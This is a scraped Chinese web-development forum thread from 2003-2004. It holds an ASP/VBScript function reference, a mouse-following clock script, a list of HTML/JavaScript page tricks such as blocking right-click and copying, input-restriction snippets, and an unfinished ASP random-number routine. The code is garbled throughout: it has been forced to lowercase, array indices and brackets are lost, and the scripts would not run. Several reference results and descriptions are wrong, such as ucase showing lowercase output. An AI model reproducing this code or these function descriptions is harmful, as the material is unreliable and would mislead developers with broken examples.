 function: 将一个表达式转化为数字类型 
 syntax: cint(expression) 
 arguments: 任何有效的字符均可 
 example: <%
f = "234"
response.write cint(f) + 2
%> 
 result: 236
转化字符"234"为数字"234",如果字符串为空,则返回0值  
 
createobject() 
 function: 建立和返回一个已注册的activex组件的实例。 
 syntax: createobject(objname) 
 arguments: objname 是任何一个有效、已注册的activex组件的名字. 
 example: <%
set con = server.createobject("adodb.connection")
%> 
 result: 
 
cstr() 
 function: 转化一个表达式为字符串. 
 syntax: cstr(expression) 
 arguments: expression 是任何有效的表达式。 
 example: <%
s = 3 + 2
response.write "the result is: " & cstr(s)
%> 
 result: 转化数字“5”为字符“5”。 
 
date() 
 function: 返回当前系统日期. 
 syntax: date() 
 arguments: none. 
 example: <%=date%> 
 result: 8/4/99 
 
dateadd() 
 function: 返回一个被改变了的日期。 
 syntax: dateadd(timeinterval,number,date) 
 arguments: timeinterval is the time interval to add; number is amount of 
time intervals to add; and date is the starting date. 
 example: <%
currentdate = #8/4/99#
newdate = dateadd("m",3,currentdate)
response.write newdate
%> 

<%
currentdate = #12:34:45 pm#
newdate = dateadd("h",3,currentdate)
response.write newdate
%> 
 result: 11/4/99
3:34:45 pm

"m" = "month";
"d" = "day";

if currentdate is in time format then,
"h" = "hour"; 
"s" = "second"; 
 
datediff() 
 function: 返回两个日期之间的差值 。 
 syntax: datediff(timeinterval,date1,date2 [, firstdayofweek ][, 
firstweekofyear]]) 
 arguments: timeinterval 表示相隔时间的类型,如“m“表示“月”。 
 example: <%
fromdate = #8/4/99#
todate = #1/1/2000#
response.write "there are " & _
  datediff("d",fromdate,todate) & _
  " days to millenium from 8/4/99."
%> 
 result: 从8/4/99 到2000年还有 150 天. 
 
day() 
 function: 返回一个月的第几日 . 
 syntax: day(date) 
 arguments: date 是任何有效的日期。 
 example: <%=day(#8/4/99#)%> 
 result: 4 
 
formatcurrency() 
 function: 返回表达式,此表达式已被格式化为货币值  
 syntax: formatcurrency(expression [, digit ][, leadingdigit ][, paren ][, 
groupdigit]]]]) 
 arguments: digit 指示小数点右侧显示位数的数值。默认值为 -1,指示使用的是
计算机的区域设置; leadingdigit 三态常数,指示是否显示小数值小数点前面的
零。 
 example: <%=formatcurrency(34.3456)%> 
 result: $34.35 
 
formatdatetime() 
 function: 返回表达式,此表达式已被格式化为日期或时间 
 syntax: formatdatetime(date, [, namedformat]) 
 arguments: namedformat 指示所使用的日期/时间格式的数值,如果省略,则使用 
vbgeneraldate. 
 example: <%=formatdatetime("08/4/99", vblongdate)%> 
 result: wednesday, august 04, 1999 
 
formatnumber() 
 function: 返回表达式,此表达式已被格式化为数值. 
 syntax: formatnumber(expression [, digit ][, leadingdigit ][, paren ][, 
groupdigit]]]]) 
 arguments: digit 指示小数点右侧显示位数的数值。默认值为 -1,指示使用的是
计算机的区域设置。; leadingdigit i指示小数点右侧显示位数的数值。默认值为 -
1,指示使用的是计算机的区域设置。; paren 指示小数点右侧显示位数的数值。默认
值为 -1,指示使用的是计算机的区域设置。; groupdigit i指示小数点右侧显示位数
的数值。默认值为 -1,指示使用的是计算机的区域设置。. 
 example: <%=formatnumber(45.324567, 3)%> 
 result: 45.325 
 
formatpercent() 
 function: 返回表达式,此表达式已被格式化为尾随有 % 符号的百分比(乘以 
100 )。 (%) 
 syntax: formatpercent(expression [, digit ][, leadingdigit ][, paren ][, 
groupdigit]]]]) 
 arguments: 同上. 
 example: <%=formatpercent(0.45267, 3)%> 
 result: 45.267% 
 
hour() 
 function: 以24时返回小时数. 
 syntax: hour(time) 
 arguments: 
 example: <%=hour(#4:45:34 pm#)%> 
 result: 16
(hour has been converted to 24-hour system) 
 
instr() 
 function: 返回字符或字符串在另一个字符串中第一次出现的位置. 
 syntax: instr([start, ] strtobesearched, strsearchfor [, compare]) 
 arguments: start为搜索的起始值,strtobesearched接受搜索的字符串 
strsearchfor要搜索的字符.compare比较方式(详细见asp常数) 
 example: <%
strtext = "this is a test!!"
pos = instr(strtext, "a")
response.write pos
%> 
 result: 9  instrrev() 
 function: 同上,只是从字符串的最后一个搜索起 
 syntax: instrrev([start, ] strtobesearched, strsearchfor [, compare]) 
 arguments: 同上. 
 example: <%
strtext = "this is a test!!"
pos = instrrev(strtext, "s")
response.write pos
%> 
 result: 13

 
int() 
 function: 返回数值类型,不四舍五入,注意取值是不大于它的整数。 
 syntax: int(number) 
 arguments: 
 example: <%=int(32.89)%>  <%=int(-3.33)%>
 result: 32  -4
 
isarray() 
 function: 判断一对象是否为数组,返回布尔值 . 
 syntax: isarray(name) 
 arguments: 
 example: <%
strtest = "test!"
response.write isarray(strtest)
%> 
 result: false 
 
isdate() 
 function: 判断一对象是否为日期,返回布尔值 
 syntax: isdate(expression) 
 arguments: expression is any valid expression. 
 example: <%
strtest = "8/4/99"
response.write isdate(strtest)
%> 
 result: true 
 
isempty() 
 function: 判断一对象是否初始化,返回布尔值. 
 syntax: isempty(expression) 
 arguments: 
 example: <%
dim i
response.write isempty(i)
%> 
 result: true 
 
isnull() 
 function: 判断一对象是否为空,返回布尔值. 
 syntax: isnull(expression) 
 arguments: 
 example: <%
dim i
response.write isnull(i)
%> 
 result: false 
 
isnumeric() 
 function: 判断一对象是否为数字,返回布尔值. 
 syntax: isnumeric(expression) 
 arguments: 
 example: <%
i = "345"
response.write isnumeric(i)
%> 
 result: true
就算数字加了引号,asp还是认为它是数字。 
 
isobject() 
 function: 判断一对象是否为对象,返回布尔值. 
 syntax: isobject(expression) 
 arguments: 
 example: <%
set con = server.createobject("adodb.connection")
response.write isobject(con)
%> 
 result: true 
 
lbound() 
 function: 返回指定数组维的最小可用下标. 
 syntax: lbound(arrayname [, dimension]) 
 arguments: ; dimension 指明要返回哪一维下界的整数。使用 1 表示第一维,2 
表示第二维,以此类推。如果省略 dimension 参数,默认值为 1. 
 example: <%
i = array("monday","tuesday","wednesday")
response.write lbound(i)
%> 
 result: 0 
 
lcase() 
 function:  返回字符串的小写形式 
 syntax: lcase(string) 
 arguments: string is any valid string expression. 
 example: <%
strtest = "this is a test!"
response.write lcase(strtest)
%> 
 result: this is a test! 
 
left() 
 function: 返回字符串左边第length个字符以前的字符(含第length个字符). 
 syntax: left(string, length) 
 arguments: 
 example: <%
strtest = "this is a test!"
response.write left(strtest, 3)
%> 
 result: thi 
 
len() 
 function: 返回字符串的长度. 
 syntax: len(string | varname) 
 arguments: 
 example: <%
strtest = "this is a test!"
response.write len(strtest)
%> 
 result: 15 
 
ltrim() 
 function: 去掉字符串左边的空格. 
 syntax: ltrim(string) 
 arguments: 
 example: <%
strtest = " this is a test!"
response.write ltrim(strtest)
%> 
 result: this is a test! 
 
mid() 
 function: 返回特定长度的字符串(从start开始,长度为length). 
 syntax: mid(string, start [, length]) 
 arguments: 
 example: <%
strtest = "this is a test! today is monday."
response.write mid(strtest, 17, 5)
%> 
 result: today 
 
minute() 
 function: 返回时间的分钏. 
 syntax: minute(time) 
 arguments: 
 example: <%=minute(#12:45:32 pm#)%> 
 result: 45 
 
month() 
 function: 返回日期. 
 syntax: month(date) 
 arguments: date is any valid date expression. 
 example: <%=month(#08/04/99#)%> 
 result: 8 
 
monthname() 
 function: returns a string identifying the specified month. 
 syntax: monthname(month, [, abb]) 
 arguments: month is the numeric representation for a given month; abb 
(optional) is a boolean value used to display month abbreviation. true 
will display the abbreviated month name and false (default) will not show 
the abbreviation. 
 example: <%=monthname(month(#08/04/99#))%> 
 result: august 
 
Quote
2003-10-21 14:08 icecold
now() 
 function: returns the current system date and time. 
 syntax: now() 
 arguments: none 
 example: <%=now%> 
 result: 8/4/99 9:30:16 am 
 
replace() 
 function: returns a string in which a specified sub-string has been 
replaced with another substring a specified number of times. 
 syntax: replace(strtobesearched, strsearchfor, strreplacewith [, start 
][, count ][, compare]]]) 
 arguments: strtobesearched is a string expression containing a sub-
string to be replaced; strsearchfor is the string expression to search for 
within strtobesearched; strreplacewith is the string expression to replace 
sub-string strsearchfor; start (optional) is the numeric character 
position to begin search; count (optional) is a value indicating the 
comparision constant. 
 example: <% 
strtest = "this is an apple!"
response.write replace(strtest, "apple", "orange")
%> 
 result: this is an orange! 
 
right() 
 function: 返回字符串右边第length个字符以前的字符(含第length个字符). 
 syntax: right(string, length) 
 arguments: . 
 example: <% 
strtest = "this is an test!"
response.write right(strtest, 3)
%> 
 result: st! 
 
rnd() 
 function: 产生一个随机数. 
 syntax: rnd [ (number) ] 
 arguments: 
 example: <%
randomize()
response.write rnd()
%> 
 result: 任何一个在0 到 1 之间的数 
 
round() 
 function: 返回按指定位数进行四舍五入的数值. 
 syntax: round(expression [, numright]) 
 arguments: numright数字表明小数点右边有多少位进行四舍五入。如果省略,则 
round 函数返回整数. 
 example: <%
i = 32.45678
response.write round(i)
%> 
 result: 32 
 
rtrim() 
 function: 去掉字符串右边的字符串. 
 syntax: rtrim(string) 
 arguments: 
 example: <%
strtest = "this is a test!! "
response.write rtrim(strtest)
%> 
 result: this is a test!! 
 
second() 
 function: 返回秒. 
 syntax: second(time) 
 arguments: . 
 example: <%=second(#12:34:28 pm#)%> 
 result: 28 
 
strreverse() 
 function: 反排一字符串 
 syntax: strreverse(string) 
 arguments: 
 example: <%
strtest = "this is a test!!"
response.write strreverse(strtest)
%> 
 result: !!tset a si siht 
 
time() 
 function: 返回系统时间. 
 syntax: time() 
 arguments: . 
 example: <%=time%> 
 result: 9:58:28 am 
 
trim() 
 function: 去掉字符串左右的空格. 
 syntax: trim(string) 
 arguments: string is any valid string expression. 
 example: <%
strtest = " this is a test!! "
response.write trim(strtest)
%> 
 result: this is a test!! 
 
ubound() 
 function: 返回指定数组维数的最大可用下标. 
 syntax: ubound(arrayname [, dimension]) 
 arguments: ; dimension (optional) 指定返回哪一维上界的整数。1 表示第一
维,2 表示第二维,以此类推。如果省略 dimension 参数,则默认值为 1. 
 example: <%
i = array("monday","tuesday","wednesday")
response.write ubound(i)
%> 
 result: 2 
 
ucase() 
 function: 返回字符串的大写形式. 
 syntax: ucase(string) 
 arguments: 
 example: <%
strtest = "this is a test!!"
response.write ucase(strtest)
%> 
 result: this is a test!! 
 
vartype() 
 function: 返回指示变量子类型的值 
 syntax: vartype(varname) 
 arguments: 
 example: <%
i = 3
response.write vartype(i)
%> 
 result: 2(数字)详见"asp常数" 
 
weekday() 
 function: 返回在一周的第几天. 
 syntax: weekday(date [, firstdayofweek]) 
 arguments: . 
 example: <%
d = #8/4/99#
response.write weekday(d)
%> 
 result: 4(星期三) 
 
weekdayname() 
 function: 返回一周第几天的名字. 
 syntax: weekdayname(weekday [, abb ][, firstdayofweek]]) 
 arguments: abb可选。boolean 值,指明是否缩写表示星期各天的名称。如果省
略, 默认值为 false,即不缩写星期各天的名称.firstdayofweek指明星期第一天的
数值 
 example: <%
d = #8/4/99#
response.write weekdayname(weekday(d))
%> 
 result: wednesday 
 
year() 
 function: 返回当前的年份. 
 syntax: year(date) 
 arguments: 
 example: <%=year(#8/4/99#)%> 
 result: 1999
Quote
2004-1-29 11:18 psd&cd
跟随鼠标飘动的时钟
<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html><head>
<meta http-equiv=content-type content="text/html; charset=windows-1252">
<meta content="mshtml 6.00.2600.0" name=generator></head>
<body>
<script language=javascript>
dcol='000000';//date colour.
fcol='000000';//face colour.
scol='000000';//seconds colour.
mcol='000000';//minutes colour.
hcol='000000';//hours colour.
clockheight=40;
clockwidth=40;
clockfrommousey=0;
clockfrommousex=100;

//alter nothing below! alignments will be lost!

d=new array("sunday","monday","tuesday","wednesday","thursday","friday","saturday";
m=new array("january","february","march","april","may","june","july","august","september","october","november","december";
date=new date();
day=date.getdate();
year=date.getyear();
if (year < 2000) year=year+1900;
todaysdate=" "+d[date.getday()]+" "+day+" "+m[date.getmonth()]+" "+year;
d=todaysdate.split('');
h='...';
h=h.split('');
m='....';
m=m.split('');
s='.....';
s=s.split('');
face='1 2 3 4 5 6 7 8 9 10 11 12';
font='arial';
size=1;
speed=0.6;
ns=(document.layers);
ie=(document.all);
face=face.split(' ');
n=face.length;
a=size*10;
ymouse=0;
xmouse=0;
scrll=0;
props="<font face="+font+" size="+size+" color="+fcol+"><b>";
props2="<font face="+font+" size="+size+" color="+dcol+"><b>";
split=360/n;
dsplit=360/d.length;
handheight=clockheight/4.5
handwidth=clockwidth/4.5
handy=-7;
handx=-2.5;
scrll=0;
step=0.06;
currstep=0;
y=new array();x=new array();y=new array();x=new array();
for (i=0; i < n; i++){y=0;x=0;y=0;x=0}
dy=new array();dx=new array();dy=new array();dx=new array();
for (i=0; i < d.length; i++){dy=0;dx=0;dy=0;dx=0}
if (ns){
for (i=0; i < d.length; i++)
document.write('<layer name="nsdate'+i+'" top=0 left=0 height='+a+' width='+a+'><center>'+props2+d+'</font></center></layer>');
for (i=0; i < n; i++)
document.write('<layer name="nsface'+i+'" top=0 left=0 height='+a+' width='+a+'><center>'+props+face+'</font></center></layer>');
for (i=0; i < s.length; i++)
document.write('<layer name=nsseconds'+i+' top=0 left=0 width=15 height=15><font face=arial size=3 color='+scol+'><center><b>'+s+'</b></center></font></layer>');
for (i=0; i < m.length; i++)
document.write('<layer name=nsminutes'+i+' top=0 left=0 width=15 height=15><font face=arial size=3 color='+mcol+'><center><b>'+m+'</b></center></font></layer>');
for (i=0; i < h.length; i++)
document.write('<layer name=nshours'+i+' top=0 left=0 width=15 height=15><font face=arial size=3 color='+hcol+'><center><b>'+h+'</b></center></font></layer>');
}
if (ie){
document.write('<div id="od" style="position:absolute;top:0px;left:0px"><div style="position:relative">');
for (i=0; i < d.length; i++)
document.write('<div id="iedate" style="position:absolute;top:0px;left:0;height:'+a+';width:'+a+';text-align:center">'+props2+d+'</b></font></div>');
document.write('</div></div>');
document.write('<div id="of" style="position:absolute;top:0px;left:0px"><div style="position:relative">');
for (i=0; i < n; i++)
document.write('<div id="ieface" style="position:absolute;top:0px;left:0;height:'+a+';width:'+a+';text-align:center">'+props+face+'</b></font></div>');
document.write('</div></div>');
document.write('<div id="oh" style="position:absolute;top:0px;left:0px"><div style="position:relative">');
for (i=0; i < h.length; i++)
document.write('<div id="iehours" style="position:absolute;width:16px;height:16px;font-family:arial;font-size:16px;color:'+hcol+';text-align:center;font-weight:bold">'+h+'</div>');
document.write('</div></div>');
document.write('<div id="om" style="position:absolute;top:0px;left:0px"><div style="position:relative">');
for (i=0; i < m.length; i++)
document.write('<div id="ieminutes" style="position:absolute;width:16px;height:16px;font-family:arial;font-size:16px;color:'+mcol+';text-align:center;font-weight:bold">'+m+'</div>');
document.write('</div></div>')
document.write('<div id="os" style="position:absolute;top:0px;left:0px"><div style="position:relative">');
for (i=0; i < s.length; i++)
document.write('<div id="ieseconds" style="position:absolute;width:16px;height:16px;font-family:arial;font-size:16px;color:'+scol+';text-align:center;font-weight:bold">'+s+'</div>');
document.write('</div></div>')
}
(ns)?window.captureevents(event.mousemove):0;
function mouse(evnt){
ymouse = (ns)?evnt.pagey+clockfrommousey-(window.pageyoffset):event.y+clockfrommousey;
xmouse = (ns)?evnt.pagex+clockfrommousex:event.x+clockfrommousex;
}
(ns)?window.onmousemove=mouse:document.onmousemove=mouse;
function clockandassign(){
time = new date ();
secs = time.getseconds();
sec = -1.57 + math.pi * secs/30;
mins = time.getminutes();
min = -1.57 + math.pi * mins/30;
hr = time.gethours();
hrs = -1.575 + math.pi * hr/6+math.pi*parseint(time.getminutes())/360;
if (ie){
od.style.top=window.document.body.scrolltop;
of.style.top=window.document.body.scrolltop;
oh.style.top=window.document.body.scrolltop;
om.style.top=window.document.body.scrolltop;
os.style.top=window.document.body.scrolltop;
}
for (i=0; i < n; i++){
var f=(ns)?document.layers['nsface'+i]:ieface.style;
f.top=y + clockheight*math.sin(-1.0471 + i*split*math.pi/180)+scrll;
f.left=x + clockwidth*math.cos(-1.0471 + i*split*math.pi/180);
}
for (i=0; i < h.length; i++){
var hl=(ns)?document.layers['nshours'+i]:iehours.style;
hl.top=y+handy+(i*handheight)*math.sin(hrs)+scrll;
hl.left=x+handx+(i*handwidth)*math.cos(hrs);
}
for (i=0; i < m.length; i++){
var ml=(ns)?document.layers['nsminutes'+i]:ieminutes.style;
ml.top=y+handy+(i*handheight)*math.sin(min)+scrll;
ml.left=x+handx+(i*handwidth)*math.cos(min);
}
for (i=0; i < s.length; i++){
var sl=(ns)?document.layers['nsseconds'+i]:ieseconds.style;
sl.top=y+handy+(i*handheight)*math.sin(sec)+scrll;
sl.left=x+handx+(i*handwidth)*math.cos(sec);
}
for (i=0; i < d.length; i++){
var dl=(ns)?document.layers['nsdate'+i]:iedate.style;
dl.top=dy + clockheight*1.5*math.sin(currstep+i*dsplit*math.pi/180)+scrll;
dl.left=dx + clockwidth*1.5*math.cos(currstep+i*dsplit*math.pi/180);
}
currstep-=step;
}
function delay(){
scrll=(ns)?window.pageyoffset:0;
dy[0]=math.round(dy[0]+=((ymouse)-dy[0])*speed);
dx[0]=math.round(dx[0]+=((xmouse)-dx[0])*speed);
for (i=1; i < d.length; i++){
dy=math.round(dy+=(dy-dy)*speed);
dx=math.round(dx+=(dx-dx)*speed);
}
y[0]=math.round(y[0]+=((ymouse)-y[0])*speed);
x[0]=math.round(x[0]+=((xmouse)-x[0])*speed);
for (i=1; i < n; i++){
y=math.round(y+=(y-y)*speed);
x=math.round(x+=(x-x)*speed);
}
clockandassign();
settimeout('delay()',20);
}
if (ns||ie)window.onload=delay;
</script>
<br><br><br><br><br><br><br><br><br><font color=blue>hi guys this is
amazing.</font size=20 color=red><br>i do not know who wrote this html code.<br>asoka liyanage.</body></html>
Quote
2004-3-11 12:00 我受够了
原帖地址



1. oncontextmenu="window.event.returnvalue=false" 将彻底屏蔽鼠标右键
<table border oncontextmenu=return(false)><td>no</table> 可用于table
2. <body onselectstart="return false"> 取消选取、防止复制
3. onpaste="return false" 不准粘贴
4. oncopy="return false;" oncut="return false;" 防止复制
5. <link rel="shortcut icon" href="favicon.ico"> ie地址栏前换成自己的图标
6. <link rel="bookmark" href="favicon.ico"> 可以在收藏夹中显示出你的图标
7. <input style="ime-mode:disabled"> 关闭输入法
8. 永远都会带着框架
<script language="javascript"><!--
if (window == top)top.location.href = "frames.htm"; //frames.htm为框架网页
// --></script>
9. 防止被人frame
<script language=javascript><!--
if (top.location != self.location)top.location=self.location;
// --></script>
10. 网页将不能被另存为
<noscript><iframe src=*.html></iframe></noscript>
11. <input type=button value=查看网页源代码
onclick="window.location = "view-source:"+ "http://www.51js.com/"">
12.删除时确认
<a href="javascript:if(confirm("确实要删除吗?"))location="boos.asp?&areyou=删除&page=1"">删
除</a>
13. 取得控件的绝对位置
//javascript
<script language="javascript">
function getie(e){
var t=e.offsettop;
var l=e.offsetleft;
while(e=e.offsetparent){
t+=e.offsettop;
l+=e.offsetleft;
}
alert("top="+t+"/nleft="+l);
}
</script>
//vbscript
<script language="vbscript"><!--
function getie()
dim t,l,a,b
set a=document.all.img1
t=document.all.img1.offsettop
l=document.all.img1.offsetleft
while a.tagname<>"body"
set a = a.offsetparent
t=t+a.offsettop
l=l+a.offsetleft
wend
msgbox "top="&t&chr(13)&"left="&l,64,"得到控件的位置"
end function
--></script>
14. 光标是停在文本框文字的最后
<script language="javascript">
function cc()
{
var e = event.srcelement;
var r =e.createtextrange();
r.movestart("character",e.value.length);
r.collapse(true);
r.select();
}
</script>
<input type=text name=text1 value="123" onfocus="cc()">
15. 判断上一页的来源
javascript:
document.referrer
16. 最小化、最大化、关闭窗口
<object id=hh1 classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<param name="command" value="minimize"></object>
<object id=hh2 classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<param name="command" value="maximize"></object>
<object id=hh3 classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<param name="command" value="close"></object>
<input type=button value=最小化 onclick=hh1.click()>
<input type=button value=最大化 onclick=hh2.click()>
<input type=button value=关闭 onclick=hh3.click()>
本例适用于ie
17.屏蔽功能键shift,alt,ctrl
<script>
function look(){
if(event.shiftkey)
alert("禁止按shift键!"); //可以换成alt ctrl
}
document.onkeydown=look;
</script>
18. 网页不会被缓存
<meta http-equiv="pragma" content="no-cache">
<meta http-equiv="cache-control" content="no-cache, must-revalidate">
<meta http-equiv="expires" content="wed, 26 feb 1997 08:21:57 gmt">
或者<meta http-equiv="expires" content="0">
19.怎样让表单没有凹凸感?
<input type=text style="border:1 solid #000000">

<input type=text style="border-left:none; border-right:none; border-top:none; border-bottom:
1 solid #000000"></textarea>
20.<div><span>&<layer>的区别?
<div>(division)用来定义大段的页面元素,会产生转行
<span>用来定义同一行内的元素,跟<div>的唯一区别是不产生转行
<layer>是ns的标记,ie不支持,相当于<div>
21.让弹出窗口总是在最上面:
<body onblur="this.focus();">
22.不要滚动条?
让竖条没有:
<body style="overflow:scroll;overflow-y:hidden">
</body>
让横条没有:
<body style="overflow:scroll;overflow-x:hidden">
</body>
两个都去掉?更简单了
<body scroll="no">
</body>
23.怎样去掉图片链接点击后,图片周围的虚线?
<a href="#" onfocus="this.blur()"><img src="logo.jpg" border=0></a>
24.电子邮件处理提交表单
<form name="form1" method="post" action="mailto:****@***.com" enctype="text/plain">
<input type=submit>
</form>
25.在打开的子窗口刷新父窗口的代码里如何写?
window.opener.location.reload()
26.如何设定打开页面的大小
<body onload="top.resizeto(300,200);">
打开页面的位置<body onload="top.moveby(300,200);">
27.在页面中如何加入不是满铺的背景图片,拉动页面时背景图不动
<style>
body
{background-image:url(logo.gif); background-repeat:no-repeat;
background-position:center;background-attachment: fixed}
</style>
28. 检查一段字符串是否全由数字组成
<script language="javascript"><!--
function checknum(str){return str.match(//d/)==null}
alert(checknum("1232142141"))
alert(checknum("123214214a1"))
// --></script>
29. 获得一个窗口的大小
document.body.clientwidth; document.body.clientheight
30. 怎么判断是否是字符
if (/[^/x00-/xff]/g.test(s)) alert("含有汉字");
else alert("全是字符");
31.textarea自适应文字行数的多少
<textarea rows=1 name=s1 cols=27 onpropertychange="this.style.posheight=this.scrollheight">
</textarea>
32. 日期减去天数等于第二个日期
<script language=javascript>
function cc(dd,dadd)
{
//可以加上错误处理
var a = new date(dd)
a = a.valueof()
a = a - dadd * 24 * 60 * 60 * 1000
a = new date(a)
alert(a.getfullyear() + "年" + (a.getmonth() + 1) + "月" + a.getdate() + "日")
}
cc("12/23/2002",2)
</script>
33. 选择了哪一个radio
<html><script language="vbscript">
function checkme()
for each ob in radio1
if ob.checked then window.alert ob.value
next
end function
</script><body>
<input name="radio1" type="radio" value="style" checked>style
<input name="radio1" type="radio" value="barcode">barcode
<input type="button" value="check" onclick="checkme()">
</body></html>
34.脚本永不出错
<script language="javascript">
<!-- hide
function killerrors() {
return true;
}
window.onerror = killerrors;
// -->
</script>
35.enter键可以让光标移到下一个输入框
<input onkeydown="if(event.keycode==13)event.keycode=9">
36. 检测某个网站的链接速度:
把如下代码加入<body>区域中:
<script language=javascript>
tim=1
setinterval("tim++",100)
b=1
var autourl=new array()
autourl[1]="www.njcatv.net"
autourl[2]="javacool.3322.net"
autourl[3]="www.sina.com.cn"
autourl[4]="www.nuaa.edu.cn"
autourl[5]="www.cctv.com"
function butt(){
document.write("<form name=autof>")
for(var i=1;i<autourl.length;i++)
document.write("<input type=text name=txt"+i+" size=10 value=测试中……> =》<input type=text
name=url"+i+" size=40> =》<input type=button value=go
onclick=window.open(this.form.url"+i+".value)><br>")
document.write("<input type=submit value=刷新></form>")
}
butt()
function auto(url){
document.forms[0]["url"+b].value=url
if(tim>200)
{document.forms[0]["txt"+b].value="链接超时"}
else
{document.forms[0]["txt"+b].value="时间"+tim/10+"秒"}
b++
}
function run(){for(var i=1;i<autourl.length;i++)document.write("<img
src=http://"+autourl+"/"+math.random()+" width=1 height=1
onerror=auto("http://"+autourl+"")>")}
run()</script>
37. 各种样式的光标
auto :标准光标
default :标准箭头
hand :手形光标
wait :等待光标
text :i形光标
vertical-text :水平i形光标
no-drop :不可拖动光标
not-allowed :无效光标
help :?帮助光标
all-scroll :三角方向标
move :移动标
crosshair :十字标
e-resize
n-resize
nw-resize
w-resize
s-resize
se-resize
sw-resize
38.页面进入和退出的特效
进入页面<meta http-equiv="page-enter" content="revealtrans(duration=x, transition=y)">
推出页面<meta http-equiv="page-exit" content="revealtrans(duration=x, transition=y)">
这个是页面被载入和调出时的一些特效。duration表示特效的持续时间,以秒为单位。transition表示使
用哪种特效,取值为1-23:
  0 矩形缩小
  1 矩形扩大
  2 圆形缩小
  3 圆形扩大
  4 下到上刷新
  5 上到下刷新
  6 左到右刷新
  7 右到左刷新
  8 竖百叶窗
  9 横百叶窗
  10 错位横百叶窗
  11 错位竖百叶窗
  12 点扩散
  13 左右到中间刷新
  14 中间到左右刷新
  15 中间到上下
  16 上下到中间
  17 右下到左上
  18 右上到左下
  19 左上到右下
  20 左下到右上
  21 横条
  22 竖条
  23 以上22种随机选择一种
39.在规定时间内跳转
<meta http-equiv=v="refresh" content="5;url=http://www.51js.com">
40.网页是否被检索
<meta name="robots" content="属性值">
  其中属性值有以下一些:
  属性值为"all": 文件将被检索,且页上链接可被查询;
  属性值为"none": 文件不被检索,而且不查询页上的链接;
  属性值为"index": 文件将被检索;
  属性值为"follow": 查询页上的链接;
  属性值为"noindex": 文件不检索,但可被查询链接;
  属性值为"nofollow": 文件不被检索,但可查询页上的链接。
Quote
2004-3-16 12:18 天泽设计室
很不错的js多层菜单.....
Quote
2004-4-6 11:16 xf1121
图片忽隐忽显

把如下代码加入&lt;body&gt;区域中
&lt;script language=javascript&gt;
// flash image extension for dreamwever ,by yichun yuan([email]dezone@sina.com[/email])
nereidfadeobjects = new object();
nereidfadetimers = new object();
function nereidfade(object, destop, rate, delta){
if (!document.all)
return
if (object != "[object]"{  //do this so i can take a string too
settimeout("nereidfade("+object+","+destop+","+rate+","+delta+"",0);
return;
}
cleartimeout(nereidfadetimers[object.sourceindex]);
diff = destop-object.filters.alpha.opacity;
direction = 1;
if (object.filters.alpha.opacity &gt; destop){
direction = -1;
}
delta=math.min(direction*diff,delta);
object.filters.alpha.opacity+=direction*delta;
if (object.filters.alpha.opacity != destop){
nereidfadeobjects[object.sourceindex]=object;
nereidfadetimers[object.sourceindex]=settimeout("nereidfade(nereidfadeobjects["+object.sourceindex+"],"+destop+","+rate+","+delta+"",rate);
}
}
&lt;/script&gt;
&lt;a href=#&gt;&lt;img src="photoshopcn.jpg" border=0 onmouseout=nereidfade(this,50,10,5) onmouseover=nereidfade(this,100,10,5)  style="filter: alpha(opacity=40)"&gt;&lt;/a&gt;
Quote
2004-4-16 10:49 我受够了
asp编程中20个非常有用的例子

作者:少主

各种媒体在线播放代码

作者:天 ... [/quote]

js(打印,保存,后退等)代码

作者:少主
Quote
2004-5-13 15:30 twinshu
哇,这么多,
头晕呀
Quote
2004-5-17 09:07 enru
初学者常用代码
Quote
2004-5-19 00:33 fjwyn
放置<body> </body>中
关闭本窗口
   
<script language=javascript>      
function shutwin(){      
window.close();      
return;}      
</script>
<a href="javascript:shutwin();">点击这里关闭本窗口</a>
<p align=center> 



右击收藏
<script language=javascript1.2>
if (document.all)
document.body.onmousedown=new function("if (event.button==2||event.button==3)window.external.addfavorite('http://'xxx.xxx.xxx,'xxxxxx')")
</script>
Quote
2004-5-31 10:34 我受够了
input高级限制级用法

1.取消按钮按下时的虚线框
  在input里添加属性值  hidefocus 或者 hidefocus=true
  
2.只读文本框内容
        在input里添加属性值  readonly
  
3.防止退后清空的text文档(可把style内容做做为类引用)
  <input style=behavior:url(#default#savehistory); type=text id=opersistinput>
  
4.enter键可以让光标移到下一个输入框
  <input onkeydown="if(event.keycode==13)event.keycode=9" >
  
5.只能为中文(有闪动)
  <input onkeyup="value=value.replace(/[ -~]/g,'')" onkeydown="if(event.keycode==13)event.keycode=9">
  
6.只能为数字(有闪动)
  <input onkeyup="value=value.replace(/[^\d]/g,'') "onbeforepaste="clipboarddata.setdata('text',clipboarddata.getdata('text').replace(/[^\d]/g,''))">
  
7.只能为数字(无闪动)
  <input style="ime-mode:disabled" onkeydown="if(event.keycode==13)event.keycode=9" onkeypress="if ((event.keycode<48 || event.keycode>57)) event.returnvalue=false">
  
8.只能输入英文和数字(有闪动)
  <input onkeyup="value=value.replace(/[\w]/g,'') "onbeforepaste="clipboarddata.setdata('text',clipboarddata.getdata('text').replace(/[^\d]/g,''))">
  
9.屏蔽输入法
  <input type="text" name="url" style="ime-mode:disabled" onkeydown="if(event.keycode==13)event.keycode=9">
  
10. 只能输入 数字,小数点,减号(-) 字符(无闪动)
  <input onkeypress="if (event.keycode!=46 && event.keycode!=45 && (event.keycode<48 || event.keycode>57)) event.returnvalue=false">
  
11. 只能输入两位小数,三位小数(有闪动)
  <input maxlength=9 onkeyup="if(value.match(/^\d{3}$/))value=value.replace(value,parseint(value/10)) ;value=value.replace(/\.\d*\./g,'.')" onkeypress="if((event.keycode<48 || event.keycode>57) && event.keycode!=46 && event.keycode!=45 || value.match(/^\d{3}$/) || /\.\d{3}$/.test(value)) {event.returnvalue=false}" id=text_kfxe name=text_kfxe>
Quote
2004-5-31 22:29 enru
asp:生成一个不重复的随即数字

sub calcapiao()
dim strcaipiaonoarr() as string
dim strsql as string
dim strcaipiaono as string
strcaipiaono = "01,02,03,04,05,06,07,08,09,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33"
dim strtemparr(7) as string
dim strzhongjiangarr(7) as string
strcaipiaonoarr = split(strcaipiaono, ",")
dim intrand as integer
dim i as integer
dim j as integer
i = 0
dim find as boolean
do while true
find = false
randomize
intrand = int((33 * rnd) + 1)
for j = 0 to i - 1
if strtemparr(j) = cstr(intrand) then
find = true
end if
next
if not find then
